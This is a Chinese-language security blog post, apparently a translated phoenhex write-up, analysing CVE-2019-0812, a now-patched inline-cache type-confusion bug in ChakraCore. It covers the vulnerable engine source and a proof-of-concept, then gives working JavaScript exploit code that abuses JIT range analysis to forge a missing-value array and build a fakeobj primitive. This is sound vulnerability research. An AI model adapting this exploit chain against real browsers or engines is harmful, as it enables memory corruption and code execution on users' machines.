非JIT漏洞,JIT利用 - phoenhex团队
2019年5月15日
作者:bkth, S0rryMyBad
今天我们发布第一篇关于CVE-2019-0812的博客文章,特邀嘉宾和朋友S0rryMyBad共同参与。传统上,中国研究社区与其他研究人员之间的合作并不多。但由于我们都对ChakraCore着迷,在过去几个月里能够交流想法,很高兴今天能共同呈现这篇博客文章。希望这能带来未来更多的合作!
漏洞详情
与其他引擎类似,JavaScript对象在内部表示为DynamicObject,它们不维护属性名到属性值的映射。相反,它们只维护属性值,并有一个名为type的字段,指向Type对象,该对象能够将属性名映射到属性值数组的索引。
在Chakra中,JavaScript代码最初通过解释器运行,如果函数被重复调用,最终会被调度进行JIT编译。为了加速解释器中的执行,某些操作(如属性读取和写入)可以被缓存,以避免每次访问给定属性时进行类型查找。本质上,这些Cache对象将属性名(内部为PropertyId)与索引关联,以检索属性或写入属性。
可能导致使用此类缓存的操作之一是通过for..in循环进行属性枚举。属性枚举最终会到达被枚举对象的类型处理程序(它是对象Type的一部分)中的以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
template<size_t size>
BOOL SimpleTypeHandler<size>::FindNextProperty(ScriptContext* scriptContext, PropertyIndex& index, JavascriptString** propertyStringName,
PropertyId* propertyId, PropertyAttributes* attributes, Type* type, DynamicType *typeToEnumerate, EnumeratorFlags flags, DynamicObject* instance, PropertyValueInfo* info)
{
Assert(propertyStringName);
Assert(propertyId);
Assert(type);
for( ; index < propertyCount; ++index )
{
PropertyAttributes attribs = descriptors[index].Attributes;
if( !(attribs & PropertyDeleted) && (!!(flags & EnumeratorFlags::EnumNonEnumerable) || (attribs & PropertyEnumerable)))
{
const PropertyRecord* propertyRecord = descriptors[index].Id;
// Skip this property if it is a symbol and we are not including symbol properties
if (!(flags & EnumeratorFlags::EnumSymbols) && propertyRecord->IsSymbol())
{
continue;
}
if (attributes != nullptr)
{
*attributes = attribs;
}
*propertyId = propertyRecord->GetPropertyId();
PropertyString * propStr = scriptContext->GetPropertyString(*propertyId);
*propertyStringName = propStr;
PropertyValueInfo::SetCacheInfo(info, propStr, propStr->GetLdElemInlineCache(), false);
if ((attribs & PropertyWritable) == PropertyWritable)
{
PropertyValueInfo::Set(info, instance, index, attribs); // [[ 1 ]]
}
else
{
PropertyValueInfo::SetNoCache(info, instance);
}
return TRUE;
}
}
PropertyValueInfo::SetNoCache(info, instance);
return FALSE;
}
|
有两个有趣的事情需要注意:第一个是在[[ 1 ]]处,PropertyValueInfo使用相关的实例、索引和attribs进行更新;第二个是该方法使用两个Type对象调用:type和typeToEnumerate。
然后,PropertyValueInfo稍后用于在void CacheOperators::CachePropertyRead中为该属性创建Cache。
这里需要认识到的一个特殊点是,在FindNextProperty代码中,即使传递了两个Type对象作为参数,PropertyValueInfo对象在任何情况下都会被更新。如果这两个类型不同会怎样?这是否意味着缓存信息会为错误的类型更新?
事实证明,这正是发生的情况,以下PoC说明了这种行为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
function poc(v) {
var tmp = new String("aa");
tmp.x = 2;
once = 1;
for (let useless in tmp) {
if (once) {
delete tmp.x;
once = 0;
}
tmp.y = v;
tmp.x = 1;
}
return tmp.x;
}
console.log(poc(5));
|
如果你看这段代码,你会期望它打印1,但它会打印5。所以似乎通过执行return tmp.x,它会获取属性tmp.y的有效值。
这与我们从分析FindNextProperty代码中期望观察到的行为一致:当我们删除tmp.x然后设置tmp.y和tmp.x时,我们最终在对象中得到tmp.y在索引0处,tmp.x在索引1处。然而,在初始被枚举的类型中,tmp.x在索引0处。因此,新类型的缓存信息将被更新,说明tmp.x在偏移量0处,并在执行return tmp.x时进行直接索引访问。
为了利用这个非JIT漏洞,正如标题所示,我们实际上将使用JIT编译器来帮助我们。我们需要引入这些概念以便理解。
这个方法是S0rryMyBad的想法,所以所有的功劳都归他。
先决条件
JIT代码中的内联缓存
简而言之,为了优化属性访问,JIT代码可以依赖Cache对象生成类型检查序列,如果类型匹配,则进行直接属性访问。这基本上对应于以下指令序列:
1
2
3
4
5
6
7
|
type = object.type
cachedType = Cache.cachedType
if type == cachedType:
index = Cache.propertyIndex
property = object.properties[index]
else:
property = Runtime::GetProperty(object, propertyName)
|
JIT编译器中的类型推断和范围分析
Chakra的JIT编译器在使用最高层级的JIT编译器时,使用前向传递算法执行优化。该算法在控制流图(CFG)上工作,并以前向方向访问每个块。作为处理新块的第一步,从其每个前驱收集的信息被合并。
其中一个信息是变量的类型和范围。
让我们使用以下示例突出显示此行为:
1
2
3
4
5
6
7
8
9
|
function opt(flag) {
let tmp = {};
tmp.x = 1;
if (flag) {
tmp.x = 2;
}
...
}
|
这大致对应于以下CFG:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
function opt(flag) {
// Block 1
let tmp = {};
tmp.x = 1;
if (flag) {
// End of Block 1, Successors 2, 3
// Block 2: Predecessor 1
tmp.x = 2;
// End of Block 2: Successor 3
}
// Block 3: Predecessors 1, 2
}
|
当JIT开始处理块3时,它将合并来自块1的类型信息,该信息指定tmp.x是范围[1,1]内的整数,与来自块2的类型信息,指定tmp.x是范围[2,2]内的整数。
这些类型的并集是范围[1,2]内的整数,并将被分配给块3开头的tmp.x值。
Chakra中的数组
数组通常是重度优化的目标——参见我们上一篇关于JavaScriptCore中由于此原因导致的错误的博客文章。在Chakra中,大多数数组具有三种不同的存储模式之一:
- NativeIntArray:每个元素存储为未装箱的4字节整数。
- NativeFloatArray:每个元素存储为未装箱的8字节浮点数。
- JavascriptArray:每个元素以其默认的装箱表示形式存储(1存储为0x0001000000000001)。
除此之外,对象将携带有关数组的信息,这些信息有助于进一步优化。一个著名的是HasNoMissingValues标志,该标志指示索引0到length - 1之间的每个值都已设置。
缺失值是魔法值,在RuntimeCommon.h中定义如下:
1
2
3
|
const uint64 VarMissingItemPattern = 0x00040002FFF80002;
const uint64 FloatMissingItemPattern = 0xFFF80002FFF80002;
const int32 IntMissingItemPattern = 0xFFF80002;
|
如果你能够创建一个具有缺失值且设置了HasNoMissingValues标志的数组,那么游戏就结束了,因为可以从这一点开始使用现成的利用技术。
BailOutConventionalNativeArrayAccessOnly
在优化数组存储操作时,JIT将使用类型信息来检查此存储是否可能产生缺失值。如果JIT不能确定这不会发生,它将生成一个带有bailout指令的缺失值检查。
这些操作由StElem系列的IR指令表示,上述决策将在GlobOpt.cpp中的GlobOpt::TypeSpecializeStElem(IR::Instr ** pInstr, Value *src1Val, Value **pDstVal)方法中做出。
该方法的代码太大,无法包含,但主要逻辑如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
bool bConvertToBailoutInstr = true;
// Definite StElemC doesn't need bailout, because it can't fail or cause conversion.
if (instr->m_opcode == Js::OpCode::StElemC && baseValueType.IsObject())
{
if (baseValueType.HasIntElements())
{
//Native int array requires a missing element check & bailout
int32 min = INT32_MIN;
int32 max = INT32_MAX;
if (src1Val->GetValueInfo()->GetIntValMinMax(&min, &max, false)) // [[ 1 ]]
{
bConvertToBailoutInstr = ((min <= Js::JavascriptNativeIntArray::MissingItem) && (max >= Js::JavascriptNativeIntArray::MissingItem)); // [[ 2 ]]
}
}
else
{
bConvertToBailoutInstr = false;
}
}
|
我们可以看到,它在[[ 1 ]]处获取valueInfo的下界和上界,然后检查是否可以移除bailout(bConvertToBailoutInstr == false)。
串联起来
我们可以使用所学知识创建一个引擎不知道的具有缺失值的数组。为了实现这一点,我们使用我们的漏洞生成一个Cache,其中包含关于对象某个属性位置的错误信息。
这反过来导致JIT执行的类型推断和范围分析结果错误。因此,我们可以分配一个JIT推断不能包含缺失值的数组。因此,它不会生成bailout,我们可以滥用这一点。以下代码片段说明了这一点:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
function opt(index) {
var tmp = new String("aa");
tmp.x = 2;
once = 1;
for (let useless in tmp) {
if (once) {
delete tmp.x;
once = 0;
}
tmp.y = index;
tmp.x = 1;
}
return [1, tmp.x - 524286]; // 伪造缺失值0xfff80002 [[ 1 ]]
}
for (let i = 0; i < 0x1000; i++) {
opt(1);
}
evil = opt(0);
evil[0] = 1.1;
|
在上述代码中发生的情况是,JIT假定tmp.x在范围[1, 2]内,在[[ 1 ]]处。然后,它将优化数组创建以省略我们写的bailout检查,因为它推断1 - 524286和2 - 524286都不是缺失值。然而,通过使用我们的漏洞,tmp.x实际上将是0,因此tmp.x - 524286将是0xfff80002,即IntMissingItemPattern。
然后,我们只需设置一个简单的浮点数将此数组转换为NativeFloatArray。
以下代码突出了从这里派生fakeobj原语是多么容易:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;
function hex(x) {
return `0x${x.toString(16)}`
}
function i2f(x) {
u32[0] = x % BASE;
u32[1] = (x - (x % BASE)) / BASE;
return f64[0];
}
function f2i(x) {
f64[0] = x;
return u32[0] + BASE * u32[1];
}
// 该漏洞让我们更新错误类型的CacheInfo,因此我们可以创建一个错误的内联缓存。
// 我们用它来混淆JIT,使其认为tmp.x的ValueInfo是1或2
// 而实际上我们的漏洞将让我们通过tmp.y写入tmp.x。
// 我们可以用它来伪造一个具有HasNoMissingValues标志的缺失值数组
function opt(index) {
var tmp = new String("aa");
tmp.x = 2;
once = 1;
for (let useless in tmp) {
if (once) {
delete tmp.x;
once = 0;
}
tmp.y = index;
tmp.x = 1;
}
return [1, tmp.x - 524286]; // 伪造缺失值0xfff80002
}
for (let i = 0; i < 0x1000; i++) {
opt(1);
}
evil = opt(0);
evil[0] = 1.1;
// evil现在是一个NativeFloatArray,具有缺失值,但引擎不知道它
function fakeobj(addr) {
function opt2(victim, magic_arr, hax, addr){
let magic = magic_arr[1];
victim[0] = 1.1;
hax[0x100] = magic; // 将浮点数组更改为Var数组
victim[0] = addr; // 将未装箱的双精度存储到Var数组
}
for (let i = 0; i < 10000; i++){
let ary = [2,3,4,5,6.6,7,8,9];
delete ary[1];
opt2(ary, [1.1,2.2], ary, 1.1);
}
let victim = [1.1,2.2];
opt2(victim, evil, victim, i2f(addr));
return victim[0];
}
print(fakeobj(0x12345670));
|
结论
修复已在四月的服务更新中发布,提交如下。正如我们所看到的,即使漏洞在解释器中,JIT编译器提供了一定程度的自由,在某些情况下可以用来滥用否则难以利用的非JIT漏洞。希望你喜欢我们的博客文章谢谢:)。